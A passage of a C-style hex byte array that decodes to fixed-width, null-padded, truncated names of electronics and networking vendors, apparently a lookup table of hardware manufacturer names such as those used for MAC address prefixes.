0x63, 0x61, 0x6e, 0x64, 0x69,\r\n0x53, 0x6f, 0x6c, 0x65, 0x63, 0x74, 0x65, 0x6b,\r\n0x49, 0x6d, 0x70, 0x75, 0x6c, 0x73, 0x65, 0x54,\r\n0x4d, 0x6f, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x53,\r\n0x53, 0x63, 0x6f, 0x70, 0x65, 0x43, 0x6f, 0x6d,\r\n0x44, 0x6f, 0x63, 0x75, 0x70, 0x6f, 0x69, 0x6e,\r\n0x55, 0x6e, 0x69, 0x74, 0x65, 0x64, 0x42, 0x61,\r\n0x5a, 0x61, 0x68, 0x6e, 0x65, 0x72, 0x2d, 0x45,\r\n0x4f, 0x73, 0x69, 0x50, 0x6c, 0x75, 0x73, 0x00,\r\n0x53, 0x76, 0x65, 0x63, 0x43, 0x6f, 0x6d, 0x70,\r\n0x42, 0x6f, 0x63, 0x61, 0x52, 0x65, 0x73, 0x65,\r\n0x48, 0x61, 0x66, 0x74, 0x54, 0x65, 0x63, 0x68,\r\n0x4b, 0x6f, 0x6d, 0x61, 0x74, 0x73, 0x75, 0x00,\r\n0x53, 0x65, 0x63, 0x74, 0x72, 0x61, 0x53, 0x65,\r\n0x41, 0x72, 0x65, 0x61, 0x6e, 0x65, 0x78, 0x43,\r\n0x4b, 0x6e, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x58, 0x65, 0x64, 0x69, 0x61, 0x00, 0x00, 0x00,\r\n0x54, 0x6f, 0x79, 0x6f, 0x64, 0x61, 0x41, 0x75,\r\n0x58, 0x61, 0x6e, 0x74, 0x65, 0x43, 0x6f, 0x72,\r\n0x49, 0x2d, 0x44, 0x61, 0x74, 0x61, 0x49, 0x6e,\r\n0x46, 0x6f, 0x6e, 0x73, 0x79, 0x73, 0x00, 0x00,\r\n0x50, 0x72, 0x69, 0x76, 0x61, 0x42, 0x76, 0x00,\r\n0x41, 0x73, 0x63, 0x65, 0x6e, 0x64, 0x43, 0x6f,\r\n0x48, 0x69, 0x67, 0x68, 0x74, 0x65, 0x63, 0x68,\r\n0x52, 0x69, 0x73, 0x63, 0x44, 0x65, 0x76, 0x65,\r\n0x4b, 0x75, 0x62, 0x6f, 0x74, 0x61, 0x45, 0x6c,\r\n0x4e, 0x75, 0x70, 0x6f, 0x6e, 0x43, 0x6f, 0x6d,\r\n0x4d, 0x65, 0x74, 0x72, 0x6f, 0x64, 0x61, 0x74,\r\n0x4d, 0x6f, 0x6f, 0x72, 0x65, 0x50, 0x72, 0x6f,\r\n0x54, 0x72, 0x61, 0x63, 0x65, 0x4d, 0x6f, 0x75,\r\n0x44, 0x61, 0x74, 0x61, 0x4c, 0x69, 0x6e, 0x6b,\r\n0x4c, 0x79, 0x6e, 0x6b, 0x00, 0x00, 0x00, 0x00,\r\n0x55, 0x75, 0x6e, 0x65, 0x74, 0x54, 0x65, 0x63,\r\n0x45, 0x6b, 0x66, 0x45, 0x6c, 0x65, 0x6b, 0x74,\r\n0x54, 0x65, 0x6c, 0x69, 0x6e, 0x64, 0x75, 0x73,\r\n0x4c, 0x61, 0x75, 0x74, 0x65, 0x72, 0x62, 0x61,\r\n0x52, 0x69, 0x73, 0x71, 0x4d, 0x6f, 0x64, 0x75,\r\n0x54, 0x72, 0x6f, 0x6e, 0x69, 0x78, 0x50, 0x72,\r\n0x50, 0x72, 0x61, 0x69, 0x6d, 0x53, 0x52, 0x4c,\r\n0x4a, 0x61, 0x62, 0x69, 0x6c, 0x43, 0x69, 0x72,\r\n0x4d, 0x65, 0x6e, 0x6e, 0x65, 0x6e, 0x4d, 0x65,\r\n0x41, 0x6c, 0x74, 0x61, 0x52, 0x65, 0x73, 0x65,\r\n0x56, 0x6d, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x54, 0x61, 0x6d, 0x75, 0x72, 0x61, 0x00, 0x00,\r\n0x41, 0x72, 0x63, 0x68, 0x69, 0x70, 0x65, 0x6c,\r\n0x43, 0x68, 0x75, 0x6e, 0x74, 0x65, 0x78, 0x45,\r\n0x59, 0x6f, 0x73, 0x68, 0x69, 0x6b, 0x69, 0x49,\r\n0x43, 0x61, 0x63, 0x68, 0x65, 0x43, 0x6f, 0x6d,\r\n0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x4d,\r\n0x54, 0x6f, 0x6b, 0x79, 0x6f, 0x44, 0x65, 0x6e,\r\n0x49, 0x6e, 0x74, 0x65, 0x72, 0x6d, 0x65, 0x64,\r\n0x44, 0x75, 0x61, 0x6c, 0x45, 0x6e, 0x74, 0x65,\r\n0x55, 0x6e, 0x69, 0x67, 0x72, 0x61, 0x66, 0x4f,\r\n0x44, 0x69, 0x63, 0x6b, 0x65, 0x6e, 0x73, 0x44,\r\n0x45, 0x78, 0x69, 0x63, 0x6f, 0x6d, 0x41, 0x75,\r\n0x53, 0x65, 0x65, 0x6c, 0x00, 0x00, 0x00, 0x00,\r\n0x47, 0x76, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x42, 0x61, 0x72, 0x72, 0x6f, 0x6e, 0x4d, 0x63,\r\n0x53, 0x69, 0x6c, 0x69, 0x63, 0x6f, 0x6e, 0x56,\r\n0x47, 0x61, 0x6d, 0x62, 0x69, 0x74, 0x43, 0x6f,\r\n0x4d, 0x61, 0x72, 0x62, 0x65, 0x6e, 0x43, 0x6f,\r\n0x54, 0x6f, 0x77, 0x65, 0x72, 0x63, 0x6f, 0x6d,\r\n0x54, 0x65, 0x6b, 0x6c, 0x6f, 0x67, 0x69, 0x78,\r\n0x47, 0x63, 0x63, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x47, 0x65, 0x6e, 0x69, 0x75, 0x73, 0x4e, 0x65,\r\n0x4e, 0x6f, 0x72, 0x61, 0x6e, 0x64, 0x00, 0x00,\r\n0x43, 0x6f, 0x6d, 0x73, 0x74, 0x61, 0x74, 0x44,\r\n0x4d, 0x79, 0x73, 0x6f, 0x6e, 0x54, 0x65, 0x63,\r\n0x43, 0x6f, 0x72, 0x70, 0x6f, 0x72, 0x61, 0x74,\r\n0x46, 0x72, 0x61, 0x73, 0x65, 0x72, 0x53, 0x48,\r\n0x46, 0x75, 0x6e, 0x6b, 0x53, 0x6f, 0x66, 0x74,\r\n0x4e, 0x65, 0x74, 0x76, 0x61, 0x6e, 0x74, 0x61,\r\n0x46, 0x6f, 0x72, 0x76, 0x61, 0x6c, 0x43, 0x72,\r\n0x54, 0x65, 0x6c, 0x65, 0x63, 0x6f, 0x6d, 0x41,\r\n0x49, 0x6e, 0x65, 0x78, 0x54, 0x65, 0x63, 0x68,\r\n0x53, 0x68, 0x6f, 0x72, 0x65, 0x4d, 0x69, 0x63,\r\n0x51, 0x75, 0x61, 0x64, 0x2f, 0x47, 0x72, 0x61,\r\n0x41, 0x63, 0x75, 0x73, 0x6f, 0x6e, 0x43, 0x6f,\r\n0x53, 0x69, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x72,\r\n0x53, 0x70, 0x61, 0x72, 0x6b, 0x74, 0x72, 0x75,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x42, 0x79, 0x74,\r\n0x42, 0x61, 0x69, 0x6c, 0x65, 0x79, 0x43, 0x6f,\r\n0x41, 0x6c, 0x66, 0x61, 0x00, 0x00, 0x00, 0x00,\r\n0x54, 0x65, 0x6c, 0x65, 0x73, 0x63, 0x69, 0x65,\r\n0x43, 0x6f, 0x6d, 0x65, 0x6c, 0x74, 0x61, 0x53,\r\n0x43, 0x65, 0x69, 0x45, 0x6e, 0x67, 0x69, 0x6e,\r\n0x49, 0x6d, 0x61, 0x74, 0x72, 0x61, 0x6e, 0x56,\r\n0x52, 0x61, 0x74, 0x6f, 0x63, 0x53, 0x79, 0x73,\r\n0x43, 0x6f, 0x6d, 0x74, 0x72, 0x65, 0x65, 0x54,\r\n0x53, 0x79, 0x6e, 0x74, 0x65, 0x6c, 0x6c, 0x65,\r\n0x4f, 0x6c, 0x79, 0x6d, 0x70, 0x75, 0x73, 0x49,\r\n0x41, 0x78, 0x6f, 0x6e, 0x4e, 0x65, 0x74, 0x77,\r\n0x51, 0x75, 0x61, 0x6e, 0x63, 0x6f, 0x6d, 0x45,\r\n0x4a, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x54, 0x61, 0x69, 0x77, 0x61, 0x6e, 0x54, 0x72,\r\n0x51, 0x75, 0x69, 0x6e, 0x74, 0x65, 0x4e, 0x65,\r\n0x49, 0x70, 0x63, 0x50, 0x74, 0x65, 0x00, 0x00,\r\n0x45, 0x6f, 0x73, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x5a, 0x63, 0x6f, 0x6d, 0x6d, 0x00, 0x00, 0x00,\r\n0x4b, 0x79, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x44, 0x73, 0x63, 0x43, 0x6f, 0x6d, 0x6d, 0x75,\r\n0x53, 0x6f, 0x6e, 0x69, 0x63, 0x53, 0x6f, 0x6c,\r\n0x43, 0x61, 0x6c, 0x63, 0x6f, 0x6d, 0x70, 0x00,\r\n0x4f, 0x73, 0x69, 0x74, 0x65, 0x63, 0x68, 0x43,\r\n0x47, 0x65, 0x73, 0x70, 0x61, 0x63, 0x53, 0x41,\r\n0x46, 0x69, 0x62, 0x65, 0x72, 0x64, 0x61, 0x74,\r\n0x50, 0x6c, 0x65, 0x78, 0x63, 0x6f, 0x6d, 0x00,\r\n0x4f, 0x61, 0x6b, 0x53, 0x6f, 0x6c, 0x75, 0x74,\r\n0x41, 0x72, 0x72, 0x61, 0x79, 0x54, 0x65, 0x63,\r\n0x53, 0x65, 0x68, 0x43, 0x6f, 0x6d, 0x70, 0x75,\r\n0x44, 0x61, 0x75, 0x70, 0x68, 0x69, 0x6e, 0x54,\r\n0x55, 0x73, 0x41, 0x72, 0x6d, 0x79, 0x45, 0x6c,\r\n0x41, 0x62, 0x69, 0x74, 0x00, 0x00, 0x00, 0x00,\r\n0x4d, 0x65, 0x74, 0x61, 0x63, 0x6f, 0x6d, 0x70,\r\n0x43, 0x65, 0x6c, 0x61, 0x6e, 0x54, 0x65, 0x63,\r\n0x45, 0x6e, 0x67, 0x61, 0x67, 0x65, 0x43, 0x6f,\r\n0x41, 0x62, 0x6f, 0x75, 0x74, 0x43, 0x6f, 0x6d,\r\n0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x43, 0x6f,\r\n0x41, 0x73, 0x64, 0x67, 0x00, 0x00, 0x00, 0x00,\r\n0x50, 0x72, 0x6f, 0x73, 0x75, 0x6d, 0x00, 0x00,\r\n0x41, 0x70, 0x74, 0x65, 0x63, 0x43, 0x6f, 0x6d,\r\n0x44, 0x64, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4d, 0x61, 0x73, 0x45, 0x6c, 0x65, 0x6b, 0x74,\r\n0x43, 0x68, 0x69, 0x6e, 0x61, 0x4d, 0x6f, 0x62,\r\n0x46, 0x65, 0x72, 0x72, 0x61, 0x6e, 0x53, 0x63,\r\n0x56, 0x73, 0x74, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x44, 0x69, 0x74, 0x65, 0x63, 0x68, 0x00, 0x00,\r\n0x43, 0x6f, 0x6d, 0x64, 0x61, 0x45, 0x6e, 0x74,\r\n0x50, 0x65, 0x6e, 0x74, 0x61, 0x63, 0x6f, 0x6d,\r\n0x5a, 0x68, 0x73, 0x5a, 0x65, 0x69, 0x74, 0x6d,\r\n0x4d, 0x69, 0x63, 0x41, 0x73, 0x73, 0x6f, 0x63,\r\n0x4d, 0x61, 0x63, 0x74, 0x65, 0x6c, 0x6c, 0x00,\r\n0x4c, 0x61, 0x6e, 0x61, 0x63, 0x63, 0x65, 0x73,\r\n0x52, 0x68, 0x6b, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x53, 0x6e, 0x69, 0x6a, 0x64, 0x65, 0x72, 0x4d,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x6d, 0x65, 0x72,\r\n0x50, 0x6c, 0x75, 0x72, 0x69, 0x73, 0x00, 0x00,\r\n0x53, 0x70, 0x65, 0x65, 0x63, 0x68, 0x44, 0x65,\r\n0x50, 0x72, 0x69, 0x73, 0x6d, 0x56, 0x69, 0x64,\r\n0x47, 0x61, 0x74, 0x65, 0x77, 0x6f, 0x72, 0x6b,\r\n0x50, 0x72, 0x69, 0x6d, 0x65, 0x78, 0x41, 0x65,\r\n0x52, 0x6f, 0x6f, 0x74, 0x00, 0x00, 0x00, 0x00,\r\n0x55, 0x6e, 0x69, 0x76, 0x65, 0x78, 0x4d, 0x69,\r\n0x53, 0x63, 0x6d, 0x4d, 0x69, 0x63, 0x72, 0x6f,\r\n0x53, 0x79, 0x6e, 0x74, 0x65, 0x63, 0x68, 0x49,\r\n0x51, 0x77, 0x65, 0x73, 0x43, 0x6f, 0x6d, 0x00,\r\n0x55, 0x72, 0x6d, 0x65, 0x74, 0x54, 0x6c, 0x63,\r\n0x4d, 0x69, 0x6d, 0x61, 0x6b, 0x69, 0x45, 0x6e,\r\n0x53, 0x62, 0x73, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x46, 0x75, 0x72, 0x75, 0x6e, 0x6f, 0x45, 0x6c,\r\n0x50, 0x69, 0x6e, 0x67, 0x74, 0x65, 0x6c, 0x00,\r\n0x53, 0x65, 0x6e, 0x65, 0x74, 0x61, 0x73, 0x00,\r\n0x41, 0x69, 0x6d, 0x53, 0x79, 0x73, 0x74, 0x65,\r\n0x52, 0x65, 0x67, 0x65, 0x6e, 0x74, 0x45, 0x6c,\r\n0x49, 0x6e, 0x63, 0x72, 0x65, 0x64, 0x69, 0x62,\r\n0x49, 0x6e, 0x66, 0x6f, 0x72, 0x74, 0x72, 0x65,\r\n0x43, 0x6f, 0x67, 0x6e, 0x65, 0x78, 0x00, 0x00,\r\n0x58, 0x72, 0x6f, 0x73, 0x73, 0x74, 0x65, 0x63,\r\n0x41, 0x70, 0x70, 0x6c, 0x69, 0x65, 0x64, 0x41,\r\n0x57, 0x61, 0x6b, 0x65, 0x66, 0x65, 0x72, 0x6e,\r\n0x56, 0x6f, 0x78, 0x65, 0x6e, 0x74, 0x00, 0x00,\r\n0x4a, 0x65, 0x74, 0x63, 0x65, 0x6c, 0x6c, 0x00,\r\n0x43, 0x61, 0x6d, 0x70, 0x62, 0x65, 0x6c, 0x6c,\r\n0x41, 0x64, 0x65, 0x6d, 0x63, 0x6f, 0x00, 0x00,\r\n0x56, 0x6c, 0x73, 0x69, 0x54, 0x65, 0x63, 0x68,\r\n0x53, 0x61, 0x66, 0x65, 0x74, 0x72, 0x61, 0x6e,\r\n0x59, 0x61, 0x6e, 0x6f, 0x45, 0x6c, 0x65, 0x63,\r\n0x44, 0x61, 0x6c, 0x69, 0x61, 0x6e, 0x44, 0x61,\r\n0x4f, 0x72, 0x6d, 0x65, 0x63, 0x00, 0x00, 0x00,\r\n0x42, 0x65, 0x68, 0x61, 0x76, 0x69, 0x6f, 0x72,\r\n0x46, 0x69, 0x76, 0x65, 0x6d, 0x65, 0x72, 0x65,\r\n0x55, 0x74, 0x69, 0x6c, 0x69, 0x63, 0x6f, 0x6d,\r\n0x5a, 0x6f, 0x6e, 0x65, 0x77, 0x6f, 0x72, 0x78,\r\n0x56, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72,\r\n0x56, 0x69, 0x65, 0x6f, 0x00, 0x00, 0x00, 0x00,\r\n0x47, 0x61, 0x6c, 0x69, 0x6c, 0x65, 0x6f, 0x54,\r\n0x52, 0x6f, 0x63, 0x6b, 0x65, 0x74, 0x63, 0x68,\r\n0x53, 0x79, 0x73, 0x6d, 0x61, 0x74, 0x65, 0x00,\r\n0x41, 0x6d, 0x69, 0x67, 0x6f, 0x54, 0x65, 0x63,\r\n0x4d, 0x61, 0x68, 0x6c, 0x6f, 0x55, 0x67, 0x00,\r\n0x5a, 0x6f, 0x6e, 0x61, 0x6c, 0x52, 0x65, 0x74,\r\n0x41, 0x6c, 0x69, 0x64, 0x69, 0x61, 0x6e, 0x4e,\r\n0x4b, 0x76, 0x61, 0x73, 0x65, 0x72, 0x00, 0x00,\r\n0x44, 0x6f, 0x6c, 0x62, 0x79, 0x4c, 0x61, 0x62,\r\n0x58, 0x6e, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f,\r\n0x45, 0x63, 0x74, 0x6f, 0x6e, 0x00, 0x00, 0x00,\r\n0x49, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x74,\r\n0x50, 0x72, 0x65, 0x73, 0x65, 0x6e, 0x63, 0x65,\r\n0x4c, 0x61, 0x43, 0x69, 0x65, 0x47, 0x72, 0x6f,\r\n0x45, 0x75, 0x72, 0x6f, 0x74, 0x65, 0x6c, 0x54,\r\n0x44, 0x69, 0x76, 0x4f, 0x66, 0x52, 0x65, 0x73,\r\n0x4c, 0x6f, 0x67, 0x69, 0x62, 0x61, 0x67, 0x00,\r\n0x42, 0x69, 0x74, 0x72, 0x6f, 0x6e, 0x69, 0x63,\r\n0x49, 0x73, 0x6b, 0x72, 0x61, 0x74, 0x65, 0x6c,\r\n0x4f, 0x32, 0x4d, 0x69, 0x63, 0x72, 0x6f, 0x00,\r\n0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x65,\r\n0x53, 0x61, 0x73, 0x49, 0x6e, 0x73, 0x74, 0x69,\r\n0x4b, 0x61, 0x74, 0x68, 0x72, 0x65, 0x69, 0x6e,\r\n0x53, 0x6f, 0x6d, 0x61, 0x74, 0x00, 0x00, 0x00,\r\n0x55, 0x6c, 0x74, 0x72, 0x61, 0x6b, 0x00, 0x00,\r\n0x53, 0x79, 0x6d, 0x62, 0x69, 0x6f, 0x6e, 0x69,\r\n0x41, 0x63, 0x72, 0x6f, 0x6c, 0x6f, 0x6f, 0x70,\r\n0x49, 0x6e, 0x74, 0x65, 0x6c, 0x6c, 0x69, 0x77,\r\n0x53, 0x74, 0x72, 0x61, 0x74, 0x61, 0x62, 0x65,\r\n0x56, 0x61, 0x6c, 0x63, 0x6f, 0x6d, 0x00, 0x00,\r\n0x54, 0x72, 0x65, 0x6d, 0x6f, 0x6e, 0x45, 0x6e,\r\n0x44, 0x69, 0x67, 0x69, 0x67, 0x72, 0x61, 0x6d,\r\n0x4d, 0x75, 0x6c, 0x74, 0x69, 0x74, 0x65, 0x6c,\r\n0x54, 0x6f, 0x6b, 0x6f, 0x45, 0x6c, 0x65, 0x63,\r\n0x57, 0x69, 0x6e, 0x74, 0x72, 0x69, 0x73, 0x73,\r\n0x43, 0x61, 0x6d, 0x70, 0x69, 0x6f, 0x43, 0x6f,\r\n0x49, 0x77, 0x69, 0x6c, 0x6c, 0x00, 0x00, 0x00,\r\n0x4c, 0x69, 0x6e, 0x6b, 0x75, 0x70, 0x00, 0x00,\r\n0x53, 0x72, 0x54, 0x65, 0x6c, 0x65, 0x63, 0x6f,\r\n0x53, 0x68, 0x61, 0x72, 0x65, 0x77, 0x61, 0x76,\r\n0x41, 0x63, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x00,\r\n0x54, 0x72, 0x65, 0x6e, 0x64, 0x76, 0x69, 0x65,\r\n0x4b, 0x6d, 0x63, 0x43, 0x6f, 0x6e, 0x74, 0x72,\r\n0x4c, 0x6f, 0x6e, 0x67, 0x57, 0x65, 0x6c, 0x6c,\r\n0x45, 0x63, 0x68, 0x65, 0x6c, 0x6f, 0x6e, 0x00,\r\n0x42, 0x72, 0x6f, 0x61, 0x64, 0x6c, 0x6f, 0x67,\r\n0x41, 0x63, 0x6e, 0x41, 0x64, 0x76, 0x61, 0x6e,\r\n0x54, 0x61, 0x71, 0x75, 0x61, 0x00, 0x00, 0x00,\r\n0x41, 0x6c, 0x61, 0x72, 0x69, 0x73, 0x4d, 0x65,\r\n0x42, 0x61, 0x6e, 0x6b, 0x4f, 0x66, 0x41, 0x6d,\r\n0x45, 0x6c, 0x74, 0x65, 0x78, 0x4f, 0x66, 0x53,\r\n0x41, 0x6d, 0x61, 0x71, 0x75, 0x65, 0x73, 0x74,\r\n0x43, 0x6f, 0x6d, 0x63, 0x61, 0x6d, 0x49, 0x6e,\r\n0x4b, 0x6f, 0x79, 0x6f, 0x45, 0x6c, 0x65, 0x63,\r\n0x43, 0x6f, 0x73, 0x69, 0x6e, 0x65, 0x43, 0x6f,\r\n0x4b, 0x65, 0x79, 0x63, 0x6f, 0x72, 0x70, 0x00,\r\n0x53, 0x74, 0x72, 0x61, 0x74, 0x65, 0x67, 0x79,\r\n0x45, 0x78, 0x61, 0x62, 0x79, 0x74, 0x65, 0x00,\r\n0x52, 0x74, 0x64, 0x45, 0x6d, 0x62, 0x65, 0x64,\r\n0x49, 0x6f, 0x77, 0x61, 0x76, 0x65, 0x00, 0x00,\r\n0x49, 0x6e, 0x76, 0x65, 0x72, 0x74, 0x65, 0x78,\r\n0x4e, 0x65, 0x78, 0x63, 0x6f, 0x6d, 0x6d, 0x00,\r\n0x4f, 0x74, 0x69, 0x73, 0x45, 0x6c, 0x65, 0x76,\r\n0x46, 0x6f, 0x76, 0x65, 0x6f, 0x6e, 0x00, 0x00,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x66, 0x69, 0x72,\r\n0x44, 0x79, 0x6e, 0x61, 0x63, 0x6f, 0x6c, 0x6f,\r\n0x50, 0x68, 0x6f, 0x74, 0x72, 0x6f, 0x6e, 0x55,\r\n0x47, 0x65, 0x6e, 0x6f, 0x61, 0x54, 0x65, 0x63,\r\n0x50, 0x68, 0x6f, 0x65, 0x6e, 0x69, 0x78, 0x47,\r\n0x41, 0x72, 0x64, 0x65, 0x6e, 0x74, 0x54, 0x65,\r\n0x53, 0x6d, 0x61, 0x72, 0x74, 0x73, 0x61, 0x6e,\r\n0x54, 0x71, 0x2d, 0x43, 0x6f, 0x6d, 0x70, 0x6f,\r\n0x53, 0x65, 0x65, 0x69, 0x6f, 0x6e, 0x43, 0x6f,\r\n0x50, 0x68, 0x6f, 0x74, 0x6f, 0x6e, 0x44, 0x79,\r\n0x45, 0x6c, 0x63, 0x61, 0x72, 0x64, 0x57, 0x69,\r\n0x46, 0x69, 0x6c, 0x61, 0x6e, 0x65, 0x74, 0x00,\r\n0x53, 0x70, 0x65, 0x63, 0x74, 0x65, 0x6c, 0x00,\r\n0x4b, 0x61, 0x70, 0x61, 0x64, 0x69, 0x61, 0x43,\r\n0x56, 0x65, 0x72, 0x69, 0x73, 0x49, 0x6e, 0x64,\r\n0x4e, 0x6f, 0x76, 0x74, 0x65, 0x6b, 0x54, 0x65,\r\n0x4d, 0x69, 0x70, 0x73, 0x44, 0x65, 0x6e, 0x6d,\r\n0x4f, 0x73, 0x6b, 0x61, 0x72, 0x56, 0x69, 0x65,\r\n0x56, 0x6f, 0x63, 0x61, 0x6c, 0x44, 0x61, 0x74,\r\n0x41, 0x6c, 0x61, 0x6e, 0x74, 0x72, 0x6f, 0x43,\r\n0x4c, 0x61, 0x6e, 0x62, 0x69, 0x72, 0x64, 0x54,\r\n0x53, 0x68, 0x69, 0x6e, 0x61, 0x6e, 0x6f, 0x4b,\r\n0x43, 0x68, 0x61, 0x73, 0x65, 0x43, 0x6f, 0x6d,\r\n0x44, 0x65, 0x6c, 0x74, 0x61, 0x6b, 0x61, 0x62,\r\n0x54, 0x6c, 0x49, 0x6e, 0x64, 0x75, 0x73, 0x74,\r\n0x4f, 0x72, 0x65, 0x73, 0x69, 0x73, 0x43, 0x6f,\r\n0x43, 0x75, 0x74, 0x6c, 0x65, 0x72, 0x2d, 0x48,\r\n0x42, 0x69, 0x74, 0x73, 0x77, 0x69, 0x74, 0x63,\r\n0x4f, 0x6d, 0x65, 0x67, 0x61, 0x45, 0x6c, 0x65,\r\n0x44, 0x72, 0x73, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x4b, 0x61, 0x74, 0x73, 0x75, 0x6a, 0x69, 0x6d,\r\n0x49, 0x70, 0x72, 0x69, 0x63, 0x6f, 0x74, 0x46,\r\n0x43, 0x72, 0x65, 0x73, 0x63, 0x65, 0x6e, 0x74,\r\n0x49, 0x6f, 0x6d, 0x65, 0x67, 0x61, 0x00, 0x00,\r\n0x4c, 0x61, 0x74, 0x74, 0x69, 0x63, 0x65, 0x53,\r\n0x45, 0x6d, 0x75, 0x74, 0x65, 0x63, 0x00, 0x00,\r\n0x42, 0x61, 0x6c, 0x74, 0x68, 0x61, 0x7a, 0x61,\r\n0x56, 0x69, 0x76, 0x69, 0x64, 0x54, 0x65, 0x63,\r\n0x54, 0x65, 0x72, 0x61, 0x74, 0x65, 0x63, 0x68,\r\n0x43, 0x6f, 0x6d, 0x70, 0x75, 0x74, 0x61, 0x74,\r\n0x54, 0x68, 0x6f, 0x6d, 0x61, 0x73, 0x42, 0x65,\r\n0x50, 0x61, 0x74, 0x68, 0x77, 0x61, 0x79, 0x00,\r\n0x50, 0x72, 0x65, 0x76, 0x61, 0x73, 0x00, 0x00,\r\n0x44, 0x61, 0x73, 0x61, 0x6e, 0x00, 0x00, 0x00,\r\n0x41, 0x74, 0x61, 0x6e, 0x54, 0x65, 0x63, 0x68,\r\n0x49, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x4c,\r\n0x4d, 0x6f, 0x72, 0x65, 0x74, 0x6f, 0x6e, 0x42,\r\n0x5a, 0x68, 0x6f, 0x6e, 0x67, 0x78, 0x69, 0x6e,\r\n0x45, 0x70, 0x69, 0x6c, 0x6f, 0x67, 0x00, 0x00,\r\n0x56, 0x2d, 0x42, 0x69, 0x74, 0x73, 0x00, 0x00,\r\n0x47, 0x72, 0x75, 0x6e, 0x64, 0x69, 0x67, 0x00,\r\n0x41, 0x65, 0x74, 0x68, 0x72, 0x61, 0x54, 0x65,\r\n0x42, 0x32, 0x63, 0x32, 0x00, 0x00, 0x00, 0x00,\r\n0x54, 0x61, 0x69, 0x63, 0x6f, 0x6d, 0x44, 0x61,\r\n0x4d, 0x63, 0x71, 0x75, 0x61, 0x79, 0x49, 0x6e,\r\n0x4d, 0x6f, 0x64, 0x75, 0x6c, 0x61, 0x72, 0x4d,\r\n0x53, 0x75, 0x6e, 0x72, 0x69, 0x73, 0x65, 0x54,\r\n0x4b, 0x75, 0x7a, 0x75, 0x6d, 0x69, 0x45, 0x6c,\r\n0x44, 0x6f, 0x6f, 0x69, 0x6e, 0x45, 0x6c, 0x65,\r\n0x41, 0x76, 0x69, 0x6f, 0x6e, 0x69, 0x74, 0x65,\r\n0x4d, 0x72, 0x74, 0x4d, 0x69, 0x63, 0x72, 0x6f,\r\n0x45, 0x6c, 0x65, 0x2d, 0x43, 0x68, 0x65, 0x6d,\r\n0x53, 0x6f, 0x6c, 0x69, 0x64, 0x75, 0x6d, 0x00,\r\n0x49, 0x62, 0x6f, 0x6e, 0x64, 0x00, 0x00, 0x00,\r\n0x56, 0x63, 0x6f, 0x6e, 0x54, 0x65, 0x6c, 0x65,\r\n0x4d, 0x61, 0x63, 0x53, 0x79, 0x73, 0x74, 0x65,\r\n0x4e, 0x65, 0x78, 0x74, 0x6f, 0x6e, 0x65, 0x43,\r\n0x4c, 0x69, 0x67, 0x68, 0x74, 0x65, 0x72, 0x61,\r\n0x4e, 0x61, 0x6b, 0x61, 0x79, 0x6f, 0x00, 0x00,\r\n0x58, 0x69, 0x6f, 0x78, 0x00, 0x00, 0x00, 0x00,\r\n0x44, 0x69, 0x63, 0x74, 0x61, 0x70, 0x68, 0x6f,\r\n0x49, 0x67, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x43, 0x6f, 0x6e, 0x76, 0x69, 0x73, 0x69, 0x6f,\r\n0x53, 0x65, 0x67, 0x61, 0x45, 0x6e, 0x74, 0x65,\r\n0x4d, 0x6f, 0x6e, 0x74, 0x65, 0x72, 0x65, 0x79,\r\n0x53, 0x6f, 0x6c, 0x61, 0x72, 0x69, 0x44, 0x69,\r\n0x43, 0x61, 0x72, 0x69, 0x6e, 0x74, 0x68, 0x69,\r\n0x4f, 0x72, 0x61, 0x6e, 0x67, 0x65, 0x4d, 0x69,\r\n0x4e, 0x65, 0x78, 0x74, 0x4e, 0x65, 0x74, 0x73,\r\n0x41, 0x63, 0x75, 0x74, 0x65, 0x43, 0x6f, 0x6d,\r\n0x54, 0x65, 0x6b, 0x4d, 0x69, 0x63, 0x72, 0x6f,\r\n0x47, 0x72, 0x61, 0x6e, 0x69, 0x74, 0x65, 0x4d,\r\n0x4f, 0x70, 0x74, 0x69, 0x6d, 0x61, 0x54, 0x65,\r\n0x41, 0x73, 0x74, 0x72, 0x61, 0x6c, 0x50, 0x6f,\r\n0x41, 0x63, 0x65, 0x74, 0x65, 0x6c, 0x00, 0x00,\r\n0x53, 0x70, 0x67, 0x43, 0x6f, 0x6e, 0x74, 0x72,\r\n0x48, 0x6f, 0x74, 0x65, 0x6c, 0x54, 0x65, 0x63,\r\n0x41, 0x6c, 0x62, 0x65, 0x64, 0x6f, 0x54, 0x65,\r\n0x54, 0x68, 0x61, 0x6d, 0x77, 0x61, 0x79, 0x00,\r\n0x53, 0x74, 0x72, 0x61, 0x6e, 0x64, 0x4c, 0x69,\r\n0x43, 0x72, 0x6f, 0x73, 0x73, 0x72, 0x6f, 0x61,\r\n0x4e, 0x6f, 0x6b, 0x69, 0x61, 0x57, 0x69, 0x72,\r\n0x50, 0x6d, 0x63, 0x2d, 0x53, 0x69, 0x65, 0x72,\r\n0x53, 0x69, 0x6c, 0x69, 0x63, 0x6f, 0x6e, 0x49,\r\n0x41, 0x76, 0x61, 0x79, 0x61, 